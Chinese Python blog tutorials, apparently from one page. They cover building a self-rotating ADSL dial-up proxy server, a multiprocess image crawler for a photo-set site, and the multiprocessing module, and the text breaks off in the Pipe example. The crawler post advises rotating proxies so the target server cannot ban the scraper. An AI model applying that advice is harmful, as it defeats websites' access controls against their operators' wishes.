client 文件夹由 ADSL 拨号客户机运行。它会定时执行拨号操作,然后请求某个固定地址的服务器,以便让服务器获取 ADSL 拨号客户机的 IP,主要是定时 bash 脚本运行。 server 文件夹是服务器端运行,利用 Python 的 Flask 搭建服务器,然后接收 ADSL 拨号客户机的请求,得到 remote_addr,获取客户机拨号后的 IP。

项目结构

server

  • config.py 配置文件。
  • ip 客户端请求后获取的客户端 IP,文本保存。
  • main.py Flask 主程序,提供两个接口,一个是接收客户端请求,然后将 IP 保存,另外一个是获取当前保存的 IP。

client

  • crontab 定时任务命令示例。
  • pppoe.sh 拨号脚本,主要是实现重新拨号的几个命令。
  • request.sh 请求服务器的脚本,主要是实现拨号后请求服务器的操作。
  • request.conf 配置文件。

使用

服务器

服务器提供两个功能,record 方法是客户机定时请求,然后获取客户机 IP 并保存。proxy 方法是供我们自己用,返回保存的客户机 IP,提取代理。

克隆项目
1
git clone https://github.com/Germey/AutoProxy.git
修改配置

修改 config.py 文件

  • KEY 是客户端请求服务器时的凭证,在 client 的 request.conf 也有相同的配置,二者保持一致即可。
  • NEED_AUTH 在获取当前保存的 IP(即代理的 IP)的时候,为防止自己的主机代理被滥用,在获取 IP 的时候,需要加权限验证。
  • AUTH_USER 和 AUTH_PASSWORD 分别是认证用户名密码。
  • PORT 默认端口,返回保存的结果中会自动添加这个端口,组成一个 IP:PORT 的代理形式。

运行

1
2
cd server
nohup python main.py

ADSL 客户机

克隆项目
1
git clone https://github.com/Germey/AutoProxy.git
修改配置

修改 reqeust.conf 文件

  • KEY 是客户端请求服务器时的凭证,在 server 的 config.py 也有相同的配置,二者保持一致即可。
  • SERVER 是服务器项目运行后的地址,一般为 http://<服务器 IP>:<服务器端口>/record。如http://120.27.14.24:5000/record

修改 pppoe.sh 文件 这里面写上重新拨号的几条命令,记得在前两行配置一下环境变量,配置上拨号命令所在的目录,以防出现脚本无法运行的问题。

运行

设置定时任务

1
crontab -e

输入 crontab 的实例命令

1
*/5 * * * * /var/py/AutoProxy/client/request.sh /var/py/AutoProxy/client/request.conf >> /var/py/AutoProxy/client/request.log

注意修改路径,你的项目在哪里,都统一修改成自己项目的路径。 最前面的*/5 是 5 分钟执行一次。 好了,保存之后,定时任务就会开启。

验证结果

这样一来,访问服务器地址,就可以得到 ADSL 拨号客户机的 IP 了。

1
2
3
4
5
import requests

url = 'http://120.27.14.24:5000'
proxy = requests.get(url, auth=('admin', '123')).text
print(proxy)

实例结果:

1
116.208.97.22:8888

扩展

如果你有域名,可以自己解析一个域名,这样就可以直接请求自己的域名,拿到实时好用的代理了,而且定时更新。

代理设置

urllib2

1
2
3
4
5
6
import urllib2
proxy_handler = urllib2.ProxyHandler({"http": 'http://' + proxy})
opener = urllib2.build_opener(proxy_handler)
urllib2.install_opener(opener)
response = urllib2.urlopen('http://httpbin.org/get')
print response.read()

requests

1
2
3
4
5
6
import requests
proxies = {
'http': 'http://' + proxy,
}
r = requests.get('http://httpbin.org/get', proxies=proxies)
print(r.text)

以上便秒级解决了动态 IP 解析,自己实现了一遍 DDNS,爽! 那这样以来,以后就可以直接请求你的主机获取一个最新可用的代理 IP 了,稳定可用,定时变化! 以上便是 ADSL 拨号服务器配置的全过程,希望对大家有帮助!

Python

PS:使用多线程时好像在目录切换的问题上存在问题,可以给线程加个锁试试 Hello 大家好!我又来了。 QQ图片20161102215153 你是不是发现下载图片速度特别慢、难以忍受啊!对于这种问题 一般解决办法就是多进程了!一个进程速度慢!我就用十个进程,相当于十个人一起干。速度就会快很多啦!(为什么不说多线程?懂点 Python 的小伙伴都知道、GIL 的存在 导致 Python 的多线程有点坑啊!)今天就教大家来做一个多进程的爬虫(其实吧、可以用来做一个超简化版的分布式爬虫) 其实吧!还有一种加速的方法叫做“异步”!不过这玩意儿我没怎么整明白就不出来误人子弟了!(因为爬虫大部分时间都是在等待 response 中!‘异步’则能让程序在等待 response 的时间去做的其他事情。) QQ图片20161022193315 学过 Python 基础的同学都知道、在多进程中,进程之间是不能相互通信的,这就有一个很坑爹的问题的出现了!多个进程怎么知道那那些需要爬取、哪些已经被爬取了! 这就涉及到一个东西!这玩意儿叫做队列!!队列!!队列!!其实吧正常来说应该给大家用队列来完成这个教程的, 比如 Tornado 的 queue 模块。(如果需要更为稳定健壮的队列,则请考虑使用 Celery 这一类的专用消息传递工具) 不过为了简化技术种类啊!(才不会告诉你们是我懒,嫌麻烦呢!)这次我们继续使用 MongoDB。 好了!先来理一下思路: 每个进程需要知道那些 URL 爬取过了、哪些 URL 需要爬取!我们来给每个 URL 设置两种状态: outstanding:等待爬取的 URL complete:爬取完成的 URL 诶!等等我们好像忘了啥? 失败的 URL 的怎么办啊?我们在增加一种状态: processing:正在进行的 URL。 嗯!当一个所有初始的 URL 状态都为 outstanding;当开始爬取的时候状态改为:processing;爬取完成状态改为:complete;失败的 URL 重置状态为:outstanding。为了能够处理 URL 进程被终止的情况、我们设置一个计时参数,当超过这个值时;我们则将状态重置为 outstanding。 下面开整 Go Go Go! 首先我们需要一个模块:datetime(这个模块比内置 time 模块要好使一点)不会装??不是吧! pip install datetime 还有上一篇博文我们已经使用过的 pymongo 下面是队列的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
from datetime import datetime, timedelta
from pymongo import MongoClient, errors

class MogoQueue():

OUTSTANDING = 1 ##初始状态
PROCESSING = 2 ##正在下载状态
COMPLETE = 3 ##下载完成状态

def __init__(self, db, collection, timeout=300):##初始mongodb连接
self.client = MongoClient()
self.Client = self.client[db]
self.db = self.Client[collection]
self.timeout = timeout

def __bool__(self):
"""
这个函数,我的理解是如果下面的表达为真,则整个类为真
至于有什么用,后面我会注明的(如果我的理解有误,请指点出来谢谢,我也是Python新手)
$ne的意思是不匹配
"""
record = self.db.find_one(
{'status': {'$ne': self.COMPLETE}}
)
return True if record else False

def push(self, url, title): ##这个函数用来添加新的URL进队列
try:
self.db.insert({'_id': url, 'status': self.OUTSTANDING, '主题': title})
print(url, '插入队列成功')
except errors.DuplicateKeyError as e: ##报错则代表已经存在于队列之中了
print(url, '已经存在于队列中了')
pass
def push_imgurl(self, title, url):
try:
self.db.insert({'_id': title, 'statue': self.OUTSTANDING, 'url': url})
print('图片地址插入成功')
except errors.DuplicateKeyError as e:
print('地址已经存在了')
pass

def pop(self):
"""
这个函数会查询队列中的所有状态为OUTSTANDING的值,
更改状态,(query后面是查询)(update后面是更新)
并返回_id(就是我们的URL),MongDB好使吧,^_^
如果没有OUTSTANDING的值则调用repair()函数重置所有超时的状态为OUTSTANDING,
$set是设置的意思,和MySQL的set语法一个意思
"""
record = self.db.find_and_modify(
query={'status': self.OUTSTANDING},
update={'$set': {'status': self.PROCESSING, 'timestamp': datetime.now()}}
)
if record:
return record['_id']
else:
self.repair()
raise KeyError

def pop_title(self, url):
record = self.db.find_one({'_id': url})
return record['主题']

def peek(self):
"""这个函数是取出状态为 OUTSTANDING的文档并返回_id(URL)"""
record = self.db.find_one({'status': self.OUTSTANDING})
if record:
return record['_id']

def complete(self, url):
"""这个函数是更新已完成的URL完成"""
self.db.update({'_id': url}, {'$set': {'status': self.COMPLETE}})

def repair(self):
"""这个函数是重置状态$lt是比较"""
record = self.db.find_and_modify(
query={
'timestamp': {'$lt': datetime.now() - timedelta(seconds=self.timeout)},
'status': {'$ne': self.COMPLETE}
},
update={'$set': {'status': self.OUTSTANDING}}
)
if record:
print('重置URL状态', record['_id'])

def clear(self):
"""这个函数只有第一次才调用、后续不要调用、因为这是删库啊!"""
self.db.drop()

好了,队列我们做好了,下面是获取所有页面的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from Download import request
from mongodb_queue import MogoQueue
from bs4 import BeautifulSoup


spider_queue = MogoQueue('meinvxiezhenji', 'crawl_queue')
def start(url):
response = request.get(url, 3)
Soup = BeautifulSoup(response.text, 'lxml')
all_a = Soup.find('div', class_='all').find_all('a')
for a in all_a:
title = a.get_text()
url = a['href']
spider_queue.push(url, title)
"""上面这个调用就是把URL写入MongoDB的队列了"""

if __name__ == "__main__":
start('http://www.mzitu.com/all')

"""这一段儿就不解释了哦!超级简单的"""

下面就是多进程+多线程的下载代码了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
import os
import time
import threading
import multiprocessing
from mongodb_queue import MogoQueue
from Download import request
from bs4 import BeautifulSoup

SLEEP_TIME = 1

def mzitu_crawler(max_threads=10):
crawl_queue = MogoQueue('meinvxiezhenji', 'crawl_queue') ##这个是我们获取URL的队列
##img_queue = MogoQueue('meinvxiezhenji', 'img_queue')
def pageurl_crawler():
while True:
try:
url = crawl_queue.pop()
print(url)
except KeyError:
print('队列没有数据')
break
else:
img_urls = []
req = request.get(url, 3).text
title = crawl_queue.pop_title(url)
mkdir(title)
os.chdir('D:\mzitu\\' + title)
max_span = BeautifulSoup(req, 'lxml').find('div', class_='pagenavi').find_all('span')[-2].get_text()
for page in range(1, int(max_span) + 1):
page_url = url + '/' + str(page)
img_url = BeautifulSoup(request.get(page_url, 3).text, 'lxml').find('div', class_='main-image').find('img')['src']
img_urls.append(img_url)
save(img_url)
crawl_queue.complete(url) ##设置为完成状态
##img_queue.push_imgurl(title, img_urls)
##print('插入数据库成功')

def save(img_url):
name = img_url[-9:-4]
print(u'开始保存:', img_url)
img = request.get(img_url, 3)
f = open(name + '.jpg', 'ab')
f.write(img.content)
f.close()

def mkdir(path):
path = path.strip()
isExists = os.path.exists(os.path.join("D:\mzitu", path))
if not isExists:
print(u'建了一个名字叫做', path, u'的文件夹!')
os.makedirs(os.path.join("D:\mzitu", path))
return True
else:
print(u'名字叫做', path, u'的文件夹已经存在了!')
return False

threads = []
while threads or crawl_queue:
"""
这儿crawl_queue用上了,就是我们__bool__函数的作用,为真则代表我们MongoDB队列里面还有数据
threads 或者 crawl_queue为真都代表我们还没下载完成,程序就会继续执行
"""
for thread in threads:
if not thread.is_alive(): ##is_alive是判断是否为空,不是空则在队列中删掉
threads.remove(thread)
while len(threads) < max_threads or crawl_queue.peek(): ##线程池中的线程少于max_threads 或者 crawl_qeue时
thread = threading.Thread(target=pageurl_crawler) ##创建线程
thread.setDaemon(True) ##设置守护线程
thread.start() ##启动线程
threads.append(thread) ##添加进线程队列
time.sleep(SLEEP_TIME)

def process_crawler():
process = []
num_cpus = multiprocessing.cpu_count()
print('将会启动进程数为:', num_cpus)
for i in range(num_cpus):
p = multiprocessing.Process(target=mzitu_crawler) ##创建进程
p.start() ##启动进程
process.append(p) ##添加进进程队列
for p in process:
p.join() ##等待进程队列里面的进程结束

if __name__ == "__main__":
process_crawler()

好啦!一个多进程多线的爬虫就完成了,(其实你可以设置一下 MongoDB,然后调整一下连接配置,在多台机器上跑哦!!嗯,就是超级简化版的分布式爬虫了,虽然很是简陋。) 本来还想下载图片那一块儿加上异步(毕竟下载图片是I\O等待最久的时间了,),可惜异步我也没怎么整明白,就不拿出来贻笑大方了。 另外,各位小哥儿可以参考上面代码,单独处理图片地址试试(就是多个进程直接下载图片)? 我测试了一下八分钟下载 100 套图 PS:请务必使用 第二篇博文中的下载模块,或者自己写一个自动更换代理的下载模块!!!不然寸步难行,分分钟被服务器 BAN 掉! QQ图片20161102215153小白教程就到此结束了,后面我教大家玩玩 Scrapy;目标 顶点小说网, 爬完全站的小说。 再后面带大家玩玩 抓新浪 汤不热、模拟登录 之类的。或许维护一个公共代理 IP 池之类的。 这个所有代码我放在这个位置了:https://github.com/thsheep/mzitu/

Python

2022 年最新 Python3 网络爬虫教程

大家好,我是崔庆才,由于爬虫技术不断迭代升级,一些旧的教程已经过时、案例已经过期,最前沿的爬虫技术比如异步、JavaScript 逆向、安卓逆向、智能解析、WebAssembly、大规模分布式、Kubernetes 等技术层出不穷,我最近新出了一套最新最全面的 Python3 网络爬虫系列教程。

博主自荐:截止 2022 年,可以将最前沿最全面的爬虫技术都涵盖的教程,如异步、JavaScript 逆向、安卓逆向、智能解析、WebAssembly、大规模分布式、Kubernetes 等,市面上目前就这一套了。

最新教程对旧的爬虫技术内容进行了全面更新,搭建了全新的案例平台进行全面讲解,保证案例稳定有效不过期。

教程请移步:

【2022 版】Python3 网络爬虫学习教程

如下为原文。

前言

在上一节中介绍了 thread 多线程库。python 中的多线程其实并不是真正的多线程,并不能做到充分利用多核 CPU 资源。 如果想要充分利用,在 python 中大部分情况需要使用多进程,那么这个包就叫做 multiprocessing。 借助它,可以轻松完成从单进程到并发执行的转换。multiprocessing 支持子进程、通信和共享数据、执行不同形式的同步,提供了 Process、Queue、Pipe、Lock 等组件。 那么本节要介绍的内容有:

  • Process
  • Lock
  • Semaphore
  • Queue
  • Pipe
  • Pool

Process

基本使用

在 multiprocessing 中,每一个进程都用一个 Process 类来表示。首先看下它的 API

1
Process([group [, target [, name [, args [, kwargs]]]]])
  • target 表示调用对象,你可以传入方法的名字
  • args 表示被调用对象的位置参数元组,比如 target 是函数 a,他有两个参数 m,n,那么 args 就传入(m, n)即可
  • kwargs 表示调用对象的字典
  • name 是别名,相当于给这个进程取一个名字
  • group 分组,实际上不使用

我们先用一个实例来感受一下:

1
2
3
4
5
6
7
8
9
import multiprocessing

def process(num):
print 'Process:', num

if __name__ == '__main__':
for i in range(5):
p = multiprocessing.Process(target=process, args=(i,))
p.start()

最简单的创建 Process 的过程如上所示,target 传入函数名,args 是函数的参数,是元组的形式,如果只有一个参数,那就是长度为 1 的元组。 然后调用 start()方法即可启动多个进程了。 另外你还可以通过 cpu_count() 方法还有 active_children() 方法获取当前机器的 CPU 核心数量以及得到目前所有的运行的进程。 通过一个实例来感受一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import multiprocessing
import time

def process(num):
time.sleep(num)
print 'Process:', num

if __name__ == '__main__':
for i in range(5):
p = multiprocessing.Process(target=process, args=(i,))
p.start()

print('CPU number:' + str(multiprocessing.cpu_count()))
for p in multiprocessing.active_children():
print('Child process name: ' + p.name + ' id: ' + str(p.pid))

print('Process Ended')

运行结果:

1
2
3
4
5
6
7
8
9
10
11
Process: 0
CPU number:8
Child process name: Process-2 id: 9641
Child process name: Process-4 id: 9643
Child process name: Process-5 id: 9644
Child process name: Process-3 id: 9642
Process Ended
Process: 1
Process: 2
Process: 3
Process: 4

自定义类

另外你还可以继承 Process 类,自定义进程类,实现 run 方法即可。 用一个实例来感受一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from multiprocessing import Process
import time


class MyProcess(Process):
def __init__(self, loop):
Process.__init__(self)
self.loop = loop

def run(self):
for count in range(self.loop):
time.sleep(1)
print('Pid: ' + str(self.pid) + ' LoopCount: ' + str(count))


if __name__ == '__main__':
for i in range(2, 5):
p = MyProcess(i)
p.start()

在上面的例子中,我们继承了 Process 这个类,然后实现了 run 方法。打印出来了进程号和参数。 运行结果:

1
2
3
4
5
6
7
8
9
Pid: 28116 LoopCount: 0
Pid: 28117 LoopCount: 0
Pid: 28118 LoopCount: 0
Pid: 28116 LoopCount: 1
Pid: 28117 LoopCount: 1
Pid: 28118 LoopCount: 1
Pid: 28117 LoopCount: 2
Pid: 28118 LoopCount: 2
Pid: 28118 LoopCount: 3

可以看到,三个进程分别打印出了 2、3、4 条结果。 我们可以把一些方法独立的写在每个类里封装好,等用的时候直接初始化一个类运行即可。

deamon

在这里介绍一个属性,叫做 deamon。每个线程都可以单独设置它的属性,如果设置为 True,当父进程结束后,子进程会自动被终止。 用一个实例来感受一下,还是原来的例子,增加了 deamon 属性:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from multiprocessing import Process
import time


class MyProcess(Process):
def __init__(self, loop):
Process.__init__(self)
self.loop = loop

def run(self):
for count in range(self.loop):
time.sleep(1)
print('Pid: ' + str(self.pid) + ' LoopCount: ' + str(count))


if __name__ == '__main__':
for i in range(2, 5):
p = MyProcess(i)
p.daemon = True
p.start()


print 'Main process Ended!'

在这里,调用的时候增加了设置 deamon,最后的主进程(即父进程)打印输出了一句话。 运行结果:

1
Main process Ended!

结果很简单,因为主进程没有做任何事情,直接输出一句话结束,所以在这时也直接终止了子进程的运行。 这样可以有效防止无控制地生成子进程。如果这样写了,你在关闭这个主程序运行时,就无需额外担心子进程有没有被关闭了。 不过这样并不是我们想要达到的效果呀,能不能让所有子进程都执行完了然后再结束呢?那当然是可以的,只需要加入 join()方法即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from multiprocessing import Process
import time


class MyProcess(Process):
def __init__(self, loop):
Process.__init__(self)
self.loop = loop

def run(self):
for count in range(self.loop):
time.sleep(1)
print('Pid: ' + str(self.pid) + ' LoopCount: ' + str(count))


if __name__ == '__main__':
for i in range(2, 5):
p = MyProcess(i)
p.daemon = True
p.start()
p.join()


print 'Main process Ended!'

在这里,每个子进程都调用了 join()方法,这样父进程(主进程)就会等待子进程执行完毕。 运行结果:

1
2
3
4
5
6
7
8
9
10
Pid: 29902 LoopCount: 0
Pid: 29902 LoopCount: 1
Pid: 29905 LoopCount: 0
Pid: 29905 LoopCount: 1
Pid: 29905 LoopCount: 2
Pid: 29912 LoopCount: 0
Pid: 29912 LoopCount: 1
Pid: 29912 LoopCount: 2
Pid: 29912 LoopCount: 3
Main process Ended!

发现所有子进程都执行完毕之后,父进程最后打印出了结束的结果。

Lock

在上面的一些小实例中,你可能会遇到如下的运行结果: 什么问题?有的输出错位了。这是由于并行导致的,两个进程同时进行了输出,结果第一个进程的换行没有来得及输出,第二个进程就输出了结果。所以导致这种排版的问题。 那这归根结底是因为线程同时资源(输出操作)而导致的。 那怎么来避免这种问题?那自然是在某一时间,只能一个进程输出,其他进程等待。等刚才那个进程输出完毕之后,另一个进程再进行输出。这种现象就叫做“互斥”。 我们可以通过 Lock 来实现,在一个进程输出时,加锁,其他进程等待。等此进程执行结束后,释放锁,其他进程可以进行输出。 我们现用一个实例来感受一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from multiprocessing import Process, Lock
import time


class MyProcess(Process):
def __init__(self, loop, lock):
Process.__init__(self)
self.loop = loop
self.lock = lock

def run(self):
for count in range(self.loop):
time.sleep(0.1)
#self.lock.acquire()
print('Pid: ' + str(self.pid) + ' LoopCount: ' + str(count))
#self.lock.release()

if __name__ == '__main__':
lock = Lock()
for i in range(10, 15):
p = MyProcess(i, lock)
p.start()

首先看一下不加锁的输出结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
Pid: 45755 LoopCount: 0
Pid: 45756 LoopCount: 0
Pid: 45757 LoopCount: 0
Pid: 45758 LoopCount: 0
Pid: 45759 LoopCount: 0
Pid: 45755 LoopCount: 1
Pid: 45756 LoopCount: 1
Pid: 45757 LoopCount: 1
Pid: 45758 LoopCount: 1
Pid: 45759 LoopCount: 1
Pid: 45755 LoopCount: 2Pid: 45756 LoopCount: 2

Pid: 45757 LoopCount: 2
Pid: 45758 LoopCount: 2
Pid: 45759 LoopCount: 2
Pid: 45756 LoopCount: 3
Pid: 45755 LoopCount: 3
Pid: 45757 LoopCount: 3
Pid: 45758 LoopCount: 3
Pid: 45759 LoopCount: 3
Pid: 45755 LoopCount: 4
Pid: 45756 LoopCount: 4
Pid: 45757 LoopCount: 4
Pid: 45759 LoopCount: 4
Pid: 45758 LoopCount: 4
Pid: 45756 LoopCount: 5
Pid: 45755 LoopCount: 5
Pid: 45757 LoopCount: 5
Pid: 45759 LoopCount: 5
Pid: 45758 LoopCount: 5
Pid: 45756 LoopCount: 6Pid: 45755 LoopCount: 6

Pid: 45757 LoopCount: 6
Pid: 45759 LoopCount: 6
Pid: 45758 LoopCount: 6
Pid: 45755 LoopCount: 7Pid: 45756 LoopCount: 7

Pid: 45757 LoopCount: 7
Pid: 45758 LoopCount: 7
Pid: 45759 LoopCount: 7
Pid: 45756 LoopCount: 8Pid: 45755 LoopCount: 8

Pid: 45757 LoopCount: 8
Pid: 45758 LoopCount: 8Pid: 45759 LoopCount: 8

Pid: 45755 LoopCount: 9
Pid: 45756 LoopCount: 9
Pid: 45757 LoopCount: 9
Pid: 45758 LoopCount: 9
Pid: 45759 LoopCount: 9
Pid: 45756 LoopCount: 10
Pid: 45757 LoopCount: 10
Pid: 45758 LoopCount: 10
Pid: 45759 LoopCount: 10
Pid: 45757 LoopCount: 11
Pid: 45758 LoopCount: 11
Pid: 45759 LoopCount: 11
Pid: 45758 LoopCount: 12
Pid: 45759 LoopCount: 12
Pid: 45759 LoopCount: 13

可以看到有些输出已经造成了影响。 然后我们对其加锁:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from multiprocessing import Process, Lock
import time


class MyProcess(Process):
def __init__(self, loop, lock):
Process.__init__(self)
self.loop = loop
self.lock = lock

def run(self):
for count in range(self.loop):
time.sleep(0.1)
self.lock.acquire()
print('Pid: ' + str(self.pid) + ' LoopCount: ' + str(count))
self.lock.release()

if __name__ == '__main__':
lock = Lock()
for i in range(10, 15):
p = MyProcess(i, lock)
p.start()

我们在 print 方法的前后分别添加了获得锁和释放锁的操作。这样就能保证在同一时间只有一个 print 操作。 看一下运行结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
Pid: 45889 LoopCount: 0
Pid: 45890 LoopCount: 0
Pid: 45891 LoopCount: 0
Pid: 45892 LoopCount: 0
Pid: 45893 LoopCount: 0
Pid: 45889 LoopCount: 1
Pid: 45890 LoopCount: 1
Pid: 45891 LoopCount: 1
Pid: 45892 LoopCount: 1
Pid: 45893 LoopCount: 1
Pid: 45889 LoopCount: 2
Pid: 45890 LoopCount: 2
Pid: 45891 LoopCount: 2
Pid: 45892 LoopCount: 2
Pid: 45893 LoopCount: 2
Pid: 45889 LoopCount: 3
Pid: 45890 LoopCount: 3
Pid: 45891 LoopCount: 3
Pid: 45892 LoopCount: 3
Pid: 45893 LoopCount: 3
Pid: 45889 LoopCount: 4
Pid: 45890 LoopCount: 4
Pid: 45891 LoopCount: 4
Pid: 45892 LoopCount: 4
Pid: 45893 LoopCount: 4
Pid: 45889 LoopCount: 5
Pid: 45890 LoopCount: 5
Pid: 45891 LoopCount: 5
Pid: 45892 LoopCount: 5
Pid: 45893 LoopCount: 5
Pid: 45889 LoopCount: 6
Pid: 45890 LoopCount: 6
Pid: 45891 LoopCount: 6
Pid: 45893 LoopCount: 6
Pid: 45892 LoopCount: 6
Pid: 45889 LoopCount: 7
Pid: 45890 LoopCount: 7
Pid: 45891 LoopCount: 7
Pid: 45892 LoopCount: 7
Pid: 45893 LoopCount: 7
Pid: 45889 LoopCount: 8
Pid: 45890 LoopCount: 8
Pid: 45891 LoopCount: 8
Pid: 45892 LoopCount: 8
Pid: 45893 LoopCount: 8
Pid: 45889 LoopCount: 9
Pid: 45890 LoopCount: 9
Pid: 45891 LoopCount: 9
Pid: 45892 LoopCount: 9
Pid: 45893 LoopCount: 9
Pid: 45890 LoopCount: 10
Pid: 45891 LoopCount: 10
Pid: 45892 LoopCount: 10
Pid: 45893 LoopCount: 10
Pid: 45891 LoopCount: 11
Pid: 45892 LoopCount: 11
Pid: 45893 LoopCount: 11
Pid: 45893 LoopCount: 12
Pid: 45892 LoopCount: 12
Pid: 45893 LoopCount: 13

嗯,一切都没问题了。 所以在访问临界资源时,使用 Lock 就可以避免进程同时占用资源而导致的一些问题。

Semaphore

信号量,是在进程同步过程中一个比较重要的角色。可以控制临界资源的数量,保证各个进程之间的互斥和同步。 如果你学过操作系统,那么一定对这方面非常了解,如果你还不了解信号量是什么,可以参考 信号量解析 来了解一下它是做什么的。 那么接下来我们就用一个实例来演示一下进程之间利用 Semaphore 做到同步和互斥,以及控制临界资源数量。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from multiprocessing import Process, Semaphore, Lock, Queue
import time

buffer = Queue(10)
empty = Semaphore(2)
full = Semaphore(0)
lock = Lock()

class Consumer(Process):

def run(self):
global buffer, empty, full, lock
while True:
full.acquire()
lock.acquire()
buffer.get()
print('Consumer pop an element')
time.sleep(1)
lock.release()
empty.release()


class Producer(Process):
def run(self):
global buffer, empty, full, lock
while True:
empty.acquire()
lock.acquire()
buffer.put(1)
print('Producer append an element')
time.sleep(1)
lock.release()
full.release()


if __name__ == '__main__':
p = Producer()
c = Consumer()
p.daemon = c.daemon = True
p.start()
c.start()
p.join()
c.join()
print 'Ended!'

如上代码实现了注明的生产者和消费者问题,定义了两个进程类,一个是消费者,一个是生产者。 定义了一个共享队列,利用了 Queue 数据结构,然后定义了两个信号量,一个代表缓冲区空余数,一个表示缓冲区占用数。 生产者 Producer 使用 empty.acquire()方法来占用一个缓冲区位置,然后缓冲区空闲区大小减小 1,接下来进行加锁,对缓冲区进行操作。然后释放锁,然后让代表占用的缓冲区位置数量+1,消费者则相反。 运行结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Producer append an element
Producer append an element
Consumer pop an element
Consumer pop an element
Producer append an element
Producer append an element
Consumer pop an element
Consumer pop an element
Producer append an element
Producer append an element
Consumer pop an element
Consumer pop an element
Producer append an element
Producer append an element

可以发现两个进程在交替运行,生产者先放入缓冲区物品,然后消费者取出,不停地进行循环。 通过上面的例子来体会一下信号量的用法。

Queue

在上面的例子中我们使用了 Queue,可以作为进程通信的共享队列使用。 在上面的程序中,如果你把 Queue 换成普通的 list,是完全起不到效果的。即使在一个进程中改变了这个 list,在另一个进程也不能获取到它的状态。 因此进程间的通信,队列需要用 Queue。当然这里的队列指的是 multiprocessing.Queue 依然是用上面那个例子,我们一个进程向队列中放入数据,然后另一个进程取出数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from multiprocessing import Process, Semaphore, Lock, Queue
import time
from random import random

buffer = Queue(10)
empty = Semaphore(2)
full = Semaphore(0)
lock = Lock()

class Consumer(Process):

def run(self):
global buffer, empty, full, lock
while True:
full.acquire()
lock.acquire()
print 'Consumer get', buffer.get()
time.sleep(1)
lock.release()
empty.release()


class Producer(Process):
def run(self):
global buffer, empty, full, lock
while True:
empty.acquire()
lock.acquire()
num = random()
print 'Producer put ', num
buffer.put(num)
time.sleep(1)
lock.release()
full.release()


if __name__ == '__main__':
p = Producer()
c = Consumer()
p.daemon = c.daemon = True
p.start()
c.start()
p.join()
c.join()
print 'Ended!'

运行结果:

1
2
3
4
5
6
7
8
Producer put  0.719213647437
Producer put 0.44287326683
Consumer get 0.719213647437
Consumer get 0.44287326683
Producer put 0.722859424381
Producer put 0.525321338921
Consumer get 0.722859424381
Consumer get 0.525321338921

可以看到生产者放入队列中数据,然后消费者将数据取出来。 get 方法有两个参数,blocked 和 timeout,意思为阻塞和超时时间。默认 blocked 是 true,即阻塞式。 当一个队列为空的时候如果再用 get 取则会阻塞,所以这时候就需要吧 blocked 设置为 false,即非阻塞式,实际上它就会调用 get_nowait()方法,此时还需要设置一个超时时间,在这么长的时间内还没有取到队列元素,那就抛出 Queue.Empty 异常。 当一个队列为满的时候如果再用 put 放则会阻塞,所以这时候就需要吧 blocked 设置为 false,即非阻塞式,实际上它就会调用 put_nowait()方法,此时还需要设置一个超时时间,在这么长的时间内还没有放进去元素,那就抛出 Queue.Full 异常。 另外队列中常用的方法 Queue.qsize() 返回队列的大小 ,不过在 Mac OS 上没法运行。 原因:

def qsize(self): # Raises NotImplementedError on Mac OSX because of broken sem_getvalue() return self._maxsize - self._sem._semlock._get_value()

Queue.empty() 如果队列为空,返回 True, 反之 False Queue.full() 如果队列满了,返回 True,反之 False Queue.get([block[, timeout]]) 获取队列,timeout 等待时间 Queue.get_nowait() 相当 Queue.get(False) Queue.put(item) 阻塞式写入队列,timeout 等待时间 Queue.put_nowait(item) 相当 Queue.put(item, False)

Pipe

管道,顾名思义,一端发一端收。 Pipe 可以是单向(half-duplex),也可以是双向(duplex)。我们通过 mutiprocessing.Pipe(duplex=False)创建单向管道 (默认为双向)。一个进程从 PIPE 一端输入对象,然后被 PIPE 另一端的进程接收,单向管道只允许管道一端的进程输入,而双向管道则允许从两端输入。 用一个实例来感受一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from multiprocessing import Process, Pipe


class Consumer(Process):
def __init__(self, pipe):
Process.__init__(self)
self.pipe = pipe

def run(self):
self.pipe.send('Consumer Words')
print 'Consumer Received:', self.pipe.recv()


class Producer(Process):
def __init__(self, pipe):
Process.__init__(self)
self.pipe = pipe

def run(self):
print 'Producer Received:', self.pipe.recv()
self.pipe.send('Producer Words')


if __name__ == '__main__':
pipe = Pipe()
p = Producer(pipe[0])
